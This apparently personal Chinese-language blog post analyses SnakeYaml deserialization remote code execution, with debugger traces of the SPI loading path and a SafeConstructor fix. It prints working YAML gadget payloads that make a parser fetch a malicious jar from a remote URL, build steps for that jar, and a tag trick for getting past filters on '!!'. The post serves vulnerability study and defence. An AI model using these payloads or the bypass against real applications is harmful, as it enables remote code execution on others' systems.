SnakeYaml反序列化

SnakeYaml反序列化

影响版本

全版本

漏洞原理

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

环境搭建

导入依赖jar包

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

简介

SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化,反序列化

常用方法

String  dump(Object data)
将Java对象序列化为YAML字符串。
void    dump(Object data, Writer output)
将Java对象序列化为YAML流。
String  dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void    dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String  dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String  dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object>  loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>  loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>  loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

实践一下,demo:

Myclass类

public class Myclass {
    String value;
    public Myclass(){

    }
    public Myclass(String args) {
        value = args;
    }

    public String getValue(){
        return value;
    }
}

jdk8最好加上无参构造方法,不然会报错Can't create object of type class yamltest.Myclass using default constructor.

Test类

public class Test {
    public static void main(String[] args) {
        Myclass obj = new Myclass("this is my data");

        Map<String, Object> data = new HashMap<String, Object>();
        data.put("MyClass", obj);
        Yaml yaml = new Yaml();
        String output = yaml.dump(data);
        System.out.println(output);
    }
}

image-20230107210058988

反序列化demo

test1.yaml

firstName: "John"
lastName: "Doe"
age: 20

放在class文件目录下

image-20230107213201507

test类

    public void test2(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test.yaml");
        //或者你自己的路径:包/xxx.yaml
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }

    public static void main(String[] args) {
        Test obj = new Test();
        obj.test2();
    }

getResourceAsStream可以小学一下,参数只能是工程目录相对路径,https://blog.csdn.net/NowUSeeMe/article/details/54692877

image-20230107213250518

看师傅推荐了一个yml文件转yaml字符串的地址,网上部分poc是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。https://www.345tool.com/zh-hans/formatter/yaml-formatter

漏洞利用

url探测

    public static void main(String[] args) {
        String payload="!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://ddrn7v.dnslog.cn\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(payload);

    }

image-20230107223148647

反序列化rce

工具:artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com)

根据官方描述操作,咱这里弹计算器做演示

A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec):

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
 !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

Put the java code you want execute into AwesomeScriptEngineFactory.java and compile:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Then place the 'yaml-payload.jar' file in to the web server folder (e.g. artsploit.com/yaml-payload.jar)

找到AwesomeScriptEngineFactory.java然后改为calc

image-20230107215633725

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

注意版本,比如说8u65

 D:\study\jdk\jdk8u65\bin\javac.exe AwesomeScriptEngineFactory.java
 D:\study\jdk\jdk8u65\bin\jar.exe -cvf yaml-payload.jar -C src/ .

python开启http服务(这里8081端口做演示)

exp.java

        String payload="!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8081/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";

        Yaml yaml = new Yaml();
        yaml.load(payload);

image-20230107223257005

脚本也比较简单,就是实现了ScriptEngineFactory接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端,使用payload进行反序列化后请求到该位置,实现java.net.URLClassLoader调用远程的类进行执行命令。

漏洞分析

spi机制

spi机制参考:Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园 (cnblogs.com)

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

可以看到我们这个恶意jar包就是在 META-INF/services/ 下面整的

image-20230108121247898

在META-INF/services下有一个javax.script.ScriptEngineFactory文件,内容写上了我们的恶意类的名字,

image-20230108121928776

然后恶意类实现了这个接口,在最后加载的时候就会加载这个恶意类

image-20230108122000556

实现细节:程序会java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。

先来简单讲讲我理解的该漏洞利用的过程,建立在未对该漏洞分析前。

前面说到SPI会通过java.util.ServiceLoder进行动态加载实现,而在刚刚的exp的代码里面实现了ScriptEngineFactory并在META-INF/services/ 里面添加了实现类的类名,而该类在静态代码块处是我们的执行命令的代码,而在调用的时候,SPI机制通过Class.forName反射加载并且newInstance()反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。

javax.script.ScriptEngineManager是如何进行实例化的

下面开始调试分析漏洞,在漏洞位置yaml.load下断点

image-20230108131741156

这里调用this.loadFromReader跟踪查看

image-20230108131921404

以上就是各种赋值,需要注意的是数据的流向,

image-20230108132041060

看到type,下面的返回值调用constructor.getSingleData跟踪。

image-20230108132142542

这里并没有走到判断体里面而是直接返回并且调用了this.constructDocument(),跟进

image-20230108132223259

这里调用this.constructObject就返回了一个Object对象,所以继续从这个方法跟进进去,查看实现。

image-20230108132259668

跟进constructObjectNoCheck

image-20230108132552305

一开始还没有什么东西

再单步一次

image-20230108132726554

可以看到URLClassLoader被实例化了,所以刚刚的Constructor里面存在着重要的操作

重新来一遍,这个点先跟踪 constructor里面的getConstructor

image-20230108141957849

image-20230108142138844

这里还是返回了一个反射的class对象,继续跟。

image-20230108142302361

这里通过getClassName拿到了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象。跟踪getClassForName

image-20230108142751824

在这里就可以看到使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现,而后面代码则是一些赋值的。

接着执行会跳出来,这个时候看到已经有恶意的值了

image-20230108143104452

执行到下一步来到了这个。

image-20230108143227343

跟踪construct方法查看,到了这部分其实就已经到了关键部分。

image-20230108143904132

看到这段代码创建了一个array数组,并且调用node.getType.getDeclaredConstructors();赋值给arr$数组,回想前面的分析中,获取的name,也就是利用了javax.script.ScriptEngineManagerClass.forName进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()获取它的无参构造方法。

然后将获取到的arr数组添加到possibleConstructors

image-20230108144052625

而后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型

image-20230108144300182

这里回去遍历获取snode的值。

image-20230108144433861

遍历到

image-20230108145100835

这里进行使用反射实例化对象。

image-20230108145230128

随着snode遍历,这里会实例化几个类

image-20230108145625242

image-20230108145704395

当实例化ScriptEngineManager的时候,就行了

image-20230108145758681

跟踪一下SPI机制

到了这里以为就结束了嘛?不是的,其实我们现在只是知道了javax.script.ScriptEngineManager是如何进行实例化的,但我们并不知道javax.script.ScriptEngineManager实例化后是如何触发的代码执行。下面可以来跟踪一下SPI机制是怎么实现的。

找下ScriptEngineManager

(下断点直接打)

image-20230108153503493

跟进init

image-20230108153631784

跟进initEngines

image-20230108154240909

image-20230108154447521

这里默认返回的一个ServiceLoader的实例化,service是给定的javax.script.ScriptEngineManager,loader是我们写的URLClassLoader,这里其实就和前面讲到的SPI机制一样,调用getServiceLoader动态加载类,

image-20230108154558041

往下跟进hasNext

image-20230108154628759

public boolean hasNext() {
    if (knownProviders.hasNext())
        return true;
    return lookupIterator.hasNext();
}

跟进lookupIterator.hasNext()

image-20230108154718268

跟进hashNextService

image-20230108155019082

可以看到

image-20230108155120922

这里去获取META-INF/services/javax.script.ScriptEngineFactory类信息,最后返回true

跳出来

image-20230108155156609

跟进itr.next

public S next() {
    if (knownProviders.hasNext())
        return knownProviders.next().getValue();
    return lookupIterator.next();
}

跟进lookupIterator.next()

public S next() {
    if (acc == null) {
        return nextService();
    } else {
        PrivilegedAction<S> action = new PrivilegedAction<S>() {
            public S run() { return nextService(); }
        };
        return AccessController.doPrivileged(action, acc);
    }
}

跟进nextService,第一次实例化的是NashornScriptEngineFactory,第二次才是POC类

image-20230108155657006

第二次

image-20230108155811128

image-20230108155518170

绕过!!

一开始load跟进来的时候

image-20230108152509818

image-20230108152533212

前面大多数都是赋值的操作,没太大的必要,不过调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入BaseConstructor#getSingleData(type)方法内

跟进后会调用this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识,跟进getSingleData

image-20230108152743706

可以看到!!标识已经变成了tag:yaml.arg.2022:,在网上也有师傅提到过在!!被过滤的情况下可以用这种tag标识来绕过(https://b1ue.cn/archives/407.html

image-20230108153320500

漏洞修复

这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

package Snake;

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

public class snaketest {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }

}

image-20230108160245944

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇